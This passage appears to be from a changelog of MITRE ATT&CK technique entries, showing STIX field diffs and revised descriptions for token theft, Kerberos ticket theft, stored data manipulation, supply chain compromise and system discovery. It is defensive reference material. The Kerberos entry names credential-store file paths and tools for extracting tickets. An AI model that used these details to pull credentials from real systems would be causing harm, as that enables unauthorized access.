Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.
|
| external_references[1]['source_name'] | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 | Amnesty OAuth Phishing Attacks, August 2019 |
| external_references[1]['description'] | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. | Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019. |
| external_references[1]['url'] | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ | https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/ |
| external_references[2]['source_name'] | Microsoft Identity Platform Protocols May 2019 | Auth0 Understanding Refresh Tokens |
| external_references[2]['description'] | Microsoft. (n.d.). Retrieved September 12, 2019. | Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols | https://auth0.com/learn/refresh-tokens/ |
| external_references[3]['source_name'] | Microsoft - OAuth Code Authorization flow - June 2019 | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 |
| external_references[3]['description'] | Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019. | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. |
| external_references[3]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ |
| external_references[4]['source_name'] | Microsoft - Azure AD App Registration - May 2019 | Trend Micro Pawn Storm OAuth 2017 |
| external_references[4]['description'] | Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019. | Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app | https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks |
| external_references[5]['source_name'] | Microsoft - Azure AD Identity Tokens - Aug 2019 | Kubernetes Service Accounts |
| external_references[5]['description'] | Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019. | Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens | https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ |
| external_references[6]['source_name'] | Amnesty OAuth Phishing Attacks, August 2019 | Microsoft - Azure AD Identity Tokens - Aug 2019 |
| external_references[6]['description'] | Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019. | Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019. |
| external_references[6]['url'] | https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/ | https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens |
| external_references[7]['source_name'] | Trend Micro Pawn Storm OAuth 2017 | Microsoft - Azure AD App Registration - May 2019 |
| external_references[7]['description'] | Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019. | Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019. |
| external_references[7]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks | https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Microsoft - OAuth Code Authorization flow - June 2019', 'description': 'Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow'} |
| external_references | | {'source_name': 'Microsoft Identity Platform Protocols May 2019', 'description': 'Microsoft. (n.d.). Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols'} |
| x_mitre_contributors | | Suzy Schapperle - Microsoft Azure Red Team |
| x_mitre_contributors | | Ram Pliskin, Microsoft Azure Security Center |
| x_mitre_contributors | | Jen Burns, HubSpot |
| x_mitre_platforms | | Containers |
[T1558] Steal or Forge Kerberos Tickets
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may attempt to subvert Kerberos authentication b | t | Adversaries may attempt to subvert Kerberos authentication b |
| y stealing or forging Kerberos tickets to enable [Pass the T | | y stealing or forging Kerberos tickets to enable [Pass the T |
| icket](https://attack.mitre.org/techniques/T1550/003). Kerbe | | icket](https://attack.mitre.org/techniques/T1550/003). Kerbe |
| ros is an authentication protocol widely used in modern Wind | | ros is an authentication protocol widely used in modern Wind |
| ows domain environments. In Kerberos environments, referred | | ows domain environments. In Kerberos environments, referred |
| to as “realms”, there are three basic participants: client, | | to as “realms”, there are three basic participants: client, |
| service, and Key Distribution Center (KDC).(Citation: ADSecu | | service, and Key Distribution Center (KDC).(Citation: ADSecu |
| rity Kerberos Ring Decoder) Clients request access to a serv | | rity Kerberos Ring Decoder) Clients request access to a serv |
| ice and through the exchange of Kerberos tickets, originatin | | ice and through the exchange of Kerberos tickets, originatin |
| g from KDC, they are granted access after having successfull | | g from KDC, they are granted access after having successfull |
| y authenticated. The KDC is responsible for both authenticat | | y authenticated. The KDC is responsible for both authenticat |
| ion and ticket granting. Attackers may attempt to abuse Ker | | ion and ticket granting. Adversaries may attempt to abuse K |
| beros by stealing tickets or forging tickets to enable unaut | | erberos by stealing tickets or forging tickets to enable una |
| horized access. On Windows, the built-in <code>klist</code> | | uthorized access. On Windows, the built-in <code>klist</cod |
| utility can be used to list and analyze cached Kerberos tic | | e> utility can be used to list and analyze cached Kerberos t |
| kets.(Citation: Microsoft Klist) Linux systems on Active Di | | ickets.(Citation: Microsoft Klist) Linux systems on Active |
| rectory domains store Kerberos credentials locally in the cr | | Directory domains store Kerberos credentials locally in the |
| edential cache file referred to as the "ccache". The credent | | credential cache file referred to as the "ccache". The crede |
| ials are stored in the ccache file while they remain valid a | | ntials are stored in the ccache file while they remain valid |
| nd generally while a user's session lasts.(Citation: MIT cca | | and generally while a user's session lasts.(Citation: MIT c |
| che) On modern Redhat Enterprise Linux systems, and derivati | | cache) On modern Redhat Enterprise Linux systems, and deriva |
| ve distributions, the System Security Services Daemon (SSSD) | | tive distributions, the System Security Services Daemon (SSS |
| handles Kerberos tickets. By default SSSD maintains a copy | | D) handles Kerberos tickets. By default SSSD maintains a cop |
| of the ticket database that can be found in <code>/var/lib/s | | y of the ticket database that can be found in <code>/var/lib |
| ss/secrets/secrets.ldb</code> as well as the corresponding k | | /sss/secrets/secrets.ldb</code> as well as the corresponding |
| ey located in <code>/var/lib/sss/secrets/.secrets.mkey</code | | key located in <code>/var/lib/sss/secrets/.secrets.mkey</co |
| >. Both files require root access to read. If an adversary i | | de>. Both files require root access to read. If an adversary |
| s able to access the database and key, the credential cache | | is able to access the database and key, the credential cach |
| Kerberos blob can be extracted and converted into a usable K | | e Kerberos blob can be extracted and converted into a usable |
| erberos ccache file that adversaries may use for [Pass the T | | Kerberos ccache file that adversaries may use for [Pass the |
| icket](https://attack.mitre.org/techniques/T1550/003). The c | | Ticket](https://attack.mitre.org/techniques/T1550/003). The |
| cache file may also be converted into a Windows format using | | ccache file may also be converted into a Windows format usi |
| tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Cita | | ng tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Ci |
| tion: Brining MimiKatz to Unix)(Citation: Kekeo) Kerberos | | tation: Brining MimiKatz to Unix)(Citation: Kekeo) Kerbero |
| tickets on macOS are stored in a standard ccache format, sim | | s tickets on macOS are stored in a standard ccache format, s |
| ilar to Linux. By default, access to these ccache entries is | | imilar to Linux. By default, access to these ccache entries |
| federated through the KCM daemon process via the Mach RPC p | | is federated through the KCM daemon process via the Mach RPC |
| rotocol, which uses the caller's environment to determine ac | | protocol, which uses the caller's environment to determine |
| cess. The storage location for these ccache entries is influ | | access. The storage location for these ccache entries is inf |
| enced by the <code>/etc/krb5.conf</code> configuration file | | luenced by the <code>/etc/krb5.conf</code> configuration fil |
| and the <code>KRB5CCNAME</code> environment variable which c | | e and the <code>KRB5CCNAME</code> environment variable which |
| an specify to save them to disk or keep them protected via t | | can specify to save them to disk or keep them protected via |
| he KCM daemon. Users can interact with ticket storage using | | the KCM daemon. Users can interact with ticket storage usin |
| <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, | | g <code>kinit</code>, <code>klist</code>, <code>ktutil</code |
| and <code>kcc</code> built-in binaries or via Apple's nativ | | >, and <code>kcc</code> built-in binaries or via Apple's nat |
| e Kerberos framework. Adversaries can use open source tools | | ive Kerberos framework. Adversaries can use open source tool |
| to interact with the ccache files directly or to use the Ker | | s to interact with the ccache files directly or to use the K |
| beros framework to call lower-level APIs for extracting the | | erberos framework to call lower-level APIs for extracting th |
| user's TGT or Service Tickets.(Citation: SpectorOps Bifrost | | e user's TGT or Service Tickets.(Citation: SpectorOps Bifros |
| Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) | | t Kerberos macOS 2019)(Citation: macOS kerberos framework MI |
| | | T) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 22:56:22.054000+00:00 | 2022-03-08 21:45:01.934000+00:00 |
| description | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
| Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
|
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1565.001] Data Manipulation: Stored Data Manipulation
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may insert, delete, or manipulate data at rest i | t | Adversaries may insert, delete, or manipulate data at rest i |
| n order to manipulate external outcomes or hide activity.(Ci | | n order to influence external outcomes or hide activity, thu |
| tation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2 | | s threatening the integrity of the data.(Citation: FireEye A |
| 018) By manipulating stored data, adversaries may attempt to | | PT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulat |
| affect a business process, organizational understanding, an | | ing stored data, adversaries may attempt to affect a busines |
| d decision making. Stored data could include a variety of f | | s process, organizational understanding, and decision making |
| ile formats, such as Office files, databases, stored emails, | | . Stored data could include a variety of file formats, such |
| and custom file formats. The type of modification and the i | | as Office files, databases, stored emails, and custom file |
| mpact it will have depends on the type of data as well as th | | formats. The type of modification and the impact it will hav |
| e goals and objectives of the adversary. For complex systems | | e depends on the type of data as well as the goals and objec |
| , an adversary would likely need special expertise and possi | | tives of the adversary. For complex systems, an adversary wo |
| bly access to specialized software related to the system tha | | uld likely need special expertise and possibly access to spe |
| t would typically be gained through a prolonged information | | cialized software related to the system that would typically |
| gathering campaign in order to have the desired impact. | | be gained through a prolonged information gathering campaig |
| | | n in order to have the desired impact. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-02 15:17:40.505000+00:00 | 2022-04-19 23:03:49.461000+00:00 |
| description | Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| external_references[1]['source_name'] | FireEye APT38 Oct 2018 | DOJ Lazarus Sony 2018 |
| external_references[1]['description'] | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. |
| external_references[1]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.justice.gov/opa/press-release/file/1092091/download |
| external_references[2]['source_name'] | DOJ Lazarus Sony 2018 | FireEye APT38 Oct 2018 |
| external_references[2]['description'] | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. |
| external_references[2]['url'] | https://www.justice.gov/opa/press-release/file/1092091/download | https://content.fireeye.com/apt/rpt-apt38 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Creation | |
[T1195] Supply Chain Compromise
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may manipulate products or product delivery mech | t | Adversaries may manipulate products or product delivery mech |
| anisms prior to receipt by a final consumer for the purpose | | anisms prior to receipt by a final consumer for the purpose |
| of data or system compromise. Supply chain compromise can t | | of data or system compromise. Supply chain compromise can t |
| ake place at any stage of the supply chain including: * Man | | ake place at any stage of the supply chain including: * Man |
| ipulation of development tools * Manipulation of a developme | | ipulation of development tools * Manipulation of a developme |
| nt environment * Manipulation of source code repositories (p | | nt environment * Manipulation of source code repositories (p |
| ublic or private) * Manipulation of source code in open-sour | | ublic or private) * Manipulation of source code in open-sour |
| ce dependencies * Manipulation of software update/distributi | | ce dependencies * Manipulation of software update/distributi |
| on mechanisms * Compromised/infected system images (multiple | | on mechanisms * Compromised/infected system images (multiple |
| cases of removable media infected at the factory) (Citation | | cases of removable media infected at the factory)(Citation: |
| : IBM Storwize) (Citation: Schneider Electric USB Malware) | | IBM Storwize)(Citation: Schneider Electric USB Malware) * |
| * Replacement of legitimate software with modified versions | | Replacement of legitimate software with modified versions * |
| * Sales of modified/counterfeit products to legitimate distr | | Sales of modified/counterfeit products to legitimate distrib |
| ibutors * Shipment interdiction While supply chain compromi | | utors * Shipment interdiction While supply chain compromise |
| se can impact any component of hardware or software, attacke | | can impact any component of hardware or software, adversari |
| rs looking to gain execution have often focused on malicious | | es looking to gain execution have often focused on malicious |
| additions to legitimate software in software distribution o | | additions to legitimate software in software distribution o |
| r update channels. (Citation: Avast CCleaner3 2018) (Citatio | | r update channels.(Citation: Avast CCleaner3 2018)(Citation: |
| n: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) T | | Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ |
| argeting may be specific to a desired victim set (Citation: | | eting may be specific to a desired victim set or malicious s |
| Symantec Elderwood Sept 2012) or malicious software may be d | | oftware may be distributed to a broad set of consumers but o |
| istributed to a broad set of consumers but only move on to a | | nly move on to additional tactics on specific victims.(Citat |
| dditional tactics on specific victims. (Citation: Avast CCle | | ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 |
| aner3 2018) (Citation: Command Five SK 2011) Popular open so | | 2018)(Citation: Command Five SK 2011) Popular open source p |
| urce projects that are used as dependencies in many applicat | | rojects that are used as dependencies in many applications m |
| ions may also be targeted as a means to add malicious code t | | ay also be targeted as a means to add malicious code to user |
| o users of the dependency. (Citation: Trendmicro NPM Comprom | | s of the dependency.(Citation: Trendmicro NPM Compromise) |
| ise) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018. |
| external_references | | Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018. |
| external_references | | IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019. |
| external_references | | CAPEC-437 |
| external_references | | CAPEC-438 |
| external_references | | CAPEC-439 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-437 | |
| external_references | CAPEC-438 | |
| external_references | CAPEC-439 | |
| external_references | Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018. | |
| external_references | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. | |
| external_references | Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-01-06 19:32:28.382000+00:00 | 2022-04-19 20:09:21.256000+00:00 |
| description | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.
Supply chain compromise can take place at any stage of the supply chain including:
* Manipulation of development tools
* Manipulation of a development environment
* Manipulation of source code repositories (public or private)
* Manipulation of source code in open-source dependencies
* Manipulation of software update/distribution mechanisms
* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware)
* Replacement of legitimate software with modified versions
* Sales of modified/counterfeit products to legitimate distributors
* Shipment interdiction
While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.
Supply chain compromise can take place at any stage of the supply chain including:
* Manipulation of development tools
* Manipulation of a development environment
* Manipulation of source code repositories (public or private)
* Manipulation of source code in open-source dependencies
* Manipulation of software update/distribution mechanisms
* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)
* Replacement of legitimate software with modified versions
* Sales of modified/counterfeit products to legitimate distributors
* Shipment interdiction
While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) |
| external_references[1]['source_name'] | capec | Avast CCleaner3 2018 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/437.html | https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities |
| external_references[2]['source_name'] | capec | Command Five SK 2011 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/438.html | https://www.commandfive.com/papers/C5_APT_SKHack.pdf |
| external_references[3]['source_name'] | capec | IBM Storwize |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/439.html | https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E |
| external_references[4]['source_name'] | IBM Storwize | Symantec Elderwood Sept 2012 |
| external_references[4]['description'] | IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019. | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. |
| external_references[4]['url'] | https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
| external_references[6]['source_name'] | Avast CCleaner3 2018 | Trendmicro NPM Compromise |
| external_references[6]['description'] | Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018. | Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019. |
| external_references[6]['url'] | https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities | https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets |
| external_references[8]['source_name'] | Command Five SK 2011 | capec |
| external_references[8]['url'] | https://www.commandfive.com/papers/C5_APT_SKHack.pdf | https://capec.mitre.org/data/definitions/437.html |
| external_references[9]['source_name'] | Symantec Elderwood Sept 2012 | capec |
| external_references[9]['url'] | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://capec.mitre.org/data/definitions/438.html |
| external_references[10]['source_name'] | Trendmicro NPM Compromise | capec |
| external_references[10]['url'] | https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets | https://capec.mitre.org/data/definitions/439.html |
| x_mitre_version | 1.2 | 1.3 |
[T1082] System Information Discovery
Current version: 2.4
Version changed from: 2.3 → 2.4
|
|
|---|
| t | An adversary may attempt to get detailed information about t | t | An adversary may attempt to get detailed information about t |
| he operating system and hardware, including version, patches | | he operating system and hardware, including version, patches |
| , hotfixes, service packs, and architecture. Adversaries may | | , hotfixes, service packs, and architecture. Adversaries may |
| use the information from [System Information Discovery](htt | | use the information from [System Information Discovery](htt |
| ps://attack.mitre.org/techniques/T1082) during automated dis | | ps://attack.mitre.org/techniques/T1082) during automated dis |
| covery to shape follow-on behaviors, including whether or no | | covery to shape follow-on behaviors, including whether or no |
| t the adversary fully infects the target and/or attempts spe | | t the adversary fully infects the target and/or attempts spe |
| cific actions. Tools such as [Systeminfo](https://attack.mi | | cific actions. Tools such as [Systeminfo](https://attack.mi |
| tre.org/software/S0096) can be used to gather detailed syste | | tre.org/software/S0096) can be used to gather detailed syste |
| m information. If running with privileged access, a breakdow | | m information. If running with privileged access, a breakdow |
| n of system data can be gathered through the <code>systemset | | n of system data can be gathered through the <code>systemset |
| up</code> configuration tool on macOS. As an example, advers | | up</code> configuration tool on macOS. As an example, advers |
| aries with user-level access can execute the <code>df -aH</c | | aries with user-level access can execute the <code>df -aH</c |
| ode> command to obtain currently mounted disks and associate | | ode> command to obtain currently mounted disks and associate |
| d freely available space. [System Information Discovery](htt | | d freely available space. Adversaries may also leverage a [N |
| ps://attack.mitre.org/techniques/T1082) combined with inform | | etwork Device CLI](https://attack.mitre.org/techniques/T1059 |
| ation gathered from other forms of discovery and reconnaissa | | /008) on network devices to gather detailed system informati |
| nce can drive payload development and concealment.(Citation: | | on.(Citation: US-CERT-TA18-106A) [System Information Discove |
| OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniqu | | ry](https://attack.mitre.org/techniques/T1082) combined with |
| es) Infrastructure as a Service (IaaS) cloud providers such | | information gathered from other forms of discovery and reco |
| as AWS, GCP, and Azure allow access to instance and virtual | | nnaissance can drive payload development and concealment.(Ci |
